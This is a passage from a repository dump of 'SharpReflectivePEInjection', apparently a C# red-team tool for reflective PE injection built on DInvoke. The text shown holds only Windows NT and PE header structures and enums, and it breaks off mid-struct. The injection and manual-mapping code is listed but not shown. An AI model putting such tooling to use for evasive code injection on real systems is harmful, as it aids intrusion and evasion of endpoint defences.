Showing preview only (250K chars total). Download the full file or copy to clipboard to get everything.
Repository: cpu0x00/SharpReflectivePEInjection
Branch: main
Commit: bdcc859047a4
Files: 15
Total size: 241.0 KB
Directory structure:
gitextract_h19lhkuc/
├── App.config
├── DInvoke.Data/
│ ├── Native.cs
│ ├── PE.cs
│ └── Win32.cs
├── DInvoke.DynamicInvoke/
│ ├── Generic.cs
│ ├── Native.cs
│ ├── Utilities.cs
│ └── Win32.cs
├── DInvoke.ManualMap/
│ ├── Map.cs
│ └── Overload.cs
├── Program.cs
├── Properties/
│ └── AssemblyInfo.cs
├── README.md
├── SharpReflectivePEInjection.csproj
└── SharpReflectivePEInjection.sln
================================================
FILE CONTENTS
================================================
================================================
FILE: App.config
================================================
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
</configuration>
================================================
FILE: DInvoke.Data/Native.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace DInvoke.Data
{
/// <summary>
/// Native is a library of enums and structures for Native (NtDll) API functions.
/// </summary>
/// <remarks>
/// A majority of this library is adapted from signatures found at www.pinvoke.net.
/// </remarks>
public static class Native
{
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct ANSI_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public int InheritedFromUniqueProcessId;
public int Size
{
get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
}
}
[StructLayout(LayoutKind.Sequential, Pack = 0)]
public struct OBJECT_ATTRIBUTES
{
public Int32 Length;
public IntPtr RootDirectory;
public IntPtr ObjectName; // -> UNICODE_STRING
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
[StructLayout(LayoutKind.Sequential)]
public struct IO_STATUS_BLOCK
{
public IntPtr Status;
public IntPtr Information;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct OSVERSIONINFOEX
{
public uint OSVersionInfoSize;
public uint MajorVersion;
public uint MinorVersion;
public uint BuildNumber;
public uint PlatformId;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string CSDVersion;
public ushort ServicePackMajor;
public ushort ServicePackMinor;
public ushort SuiteMask;
public byte ProductType;
public byte Reserved;
}
[StructLayout(LayoutKind.Sequential)]
public struct LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
public enum MEMORYINFOCLASS : int
{
MemoryBasicInformation = 0,
MemoryWorkingSetList,
MemorySectionName,
MemoryBasicVlmInformation
}
public enum PROCESSINFOCLASS : int
{
ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
ProcessIoCounters, // q: IO_COUNTERS
ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX
ProcessTimes, // q: KERNEL_USER_TIMES
ProcessBasePriority, // s: KPRIORITY
ProcessRaisePriority, // s: ULONG
ProcessDebugPort, // q: HANDLE
ProcessExceptionPort, // s: HANDLE
ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
ProcessLdtInformation, // 10
ProcessLdtSize,
ProcessDefaultHardErrorMode, // qs: ULONG
ProcessIoPortHandlers, // (kernel-mode only)
ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
ProcessWx86Information,
ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION
ProcessAffinityMask, // s: KAFFINITY
ProcessPriorityBoost, // qs: ULONG
ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
ProcessWow64Information, // q: ULONG_PTR
ProcessImageFileName, // q: UNICODE_STRING
ProcessLUIDDeviceMapsEnabled, // q: ULONG
ProcessBreakOnTermination, // qs: ULONG
ProcessDebugObjectHandle, // 30, q: HANDLE
ProcessDebugFlags, // qs: ULONG
ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
ProcessIoPriority, // qs: ULONG
ProcessExecuteFlags, // qs: ULONG
ProcessResourceManagement,
ProcessCookie, // q: ULONG
ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION
ProcessPagePriority, // q: ULONG
ProcessInstrumentationCallback, // 40
ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
ProcessImageFileNameWin32, // q: UNICODE_STRING
ProcessImageFileMapping, // q: HANDLE (input)
ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
ProcessGroupInformation, // q: USHORT[]
ProcessTokenVirtualizationEnabled, // s: ULONG
ProcessConsoleHostProcess, // q: ULONG_PTR
ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION
ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode,
ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
MaxProcessInfoClass
};
/// <summary>
/// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html
/// </summary>
public enum NT_CREATION_FLAGS : ulong
{
CREATE_SUSPENDED = 0x00000001,
SKIP_THREAD_ATTACH = 0x00000002,
HIDE_FROM_DEBUGGER = 0x00000004,
HAS_SECURITY_DESCRIPTOR = 0x00000010,
ACCESS_CHECK_IN_TARGET = 0x00000020,
INITIAL_THREAD = 0x00000080
}
/// <summary>
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
/// </summary>
public enum NTSTATUS : uint
{
// Success
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
ProcessIsTerminating = 0xc000010a,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
InvalidAddress = 0xc0000141,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
}
}
================================================
FILE: DInvoke.Data/PE.cs
================================================
using System;
using System.Runtime.InteropServices;
namespace DInvoke.Data
{
/// <summary>
/// Holds data structures for using PEs.
/// </summary>
public static class PE
{
// DllMain constants
public const UInt32 DLL_PROCESS_DETACH = 0;
public const UInt32 DLL_PROCESS_ATTACH = 1;
public const UInt32 DLL_THREAD_ATTACH = 2;
public const UInt32 DLL_THREAD_DETACH = 3;
// Primary class for loading PE
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool DllMain(IntPtr hinstDLL, uint fdwReason, IntPtr lpvReserved);
[Flags]
public enum DataSectionFlags : uint
{
TYPE_NO_PAD = 0x00000008,
CNT_CODE = 0x00000020,
CNT_INITIALIZED_DATA = 0x00000040,
CNT_UNINITIALIZED_DATA = 0x00000080,
LNK_INFO = 0x00000200,
LNK_REMOVE = 0x00000800,
LNK_COMDAT = 0x00001000,
NO_DEFER_SPEC_EXC = 0x00004000,
GPREL = 0x00008000,
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000,
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000,
MEM_DISCARDABLE = 0x02000000,
MEM_NOT_CACHED = 0x04000000,
MEM_NOT_PAGED = 0x08000000,
MEM_SHARED = 0x10000000,
MEM_EXECUTE = 0x20000000,
MEM_READ = 0x40000000,
MEM_WRITE = 0x80000000
}
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_EXPORT_DIRECTORY
{
[FieldOffset(0)]
public UInt32 Characteristics;
[FieldOffset(4)]
public UInt32 TimeDateStamp;
[FieldOffset(8)]
public UInt16 MajorVersion;
[FieldOffset(10)]
public UInt16 MinorVersion;
[FieldOffset(12)]
public UInt32 Name;
[FieldOffset(16)]
public UInt32 Base;
[FieldOffset(20)]
public UInt32 NumberOfFunctions;
[FieldOffset(24)]
public UInt32 NumberOfNames;
[FieldOffset(28)]
public UInt32 AddressOfFunctions;
[FieldOffset(32)]
public UInt32 AddressOfNames;
[FieldOffset(36)]
public UInt32 AddressOfOrdinals;
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[StructLayout(LayoutKind.Sequential)]
public struct PE_META_DATA
{
public UInt32 Pe;
public Boolean Is32Bit;
public IMAGE_FILE_HEADER ImageFileHeader;
public IMAGE_OPTIONAL_HEADER32 OptHeader32;
public IMAGE_OPTIONAL_HEADER64 OptHeader64;
public IMAGE_SECTION_HEADER[] Sections;
}
[StructLayout(LayoutKind.Sequential)]
public struct PE_MANUAL_MAP
{
public String DecoyModule;
public IntPtr ModuleBase;
public PE_META_DATA PEINFO;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_THUNK_DATA32
{
[FieldOffset(0)]
public UInt32 ForwarderString;
[FieldOffset(0)]
public UInt32 Function;
[FieldOffset(0)]
public UInt32 Ordinal;
[FieldOffset(0)]
public UInt32 AddressOfData;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_THUNK_DATA64
{
[FieldOffset(0)]
public UInt64 ForwarderString;
[FieldOffset(0)]
public UInt64 Function;
[FieldOffset(0)]
public UInt64 Ordinal;
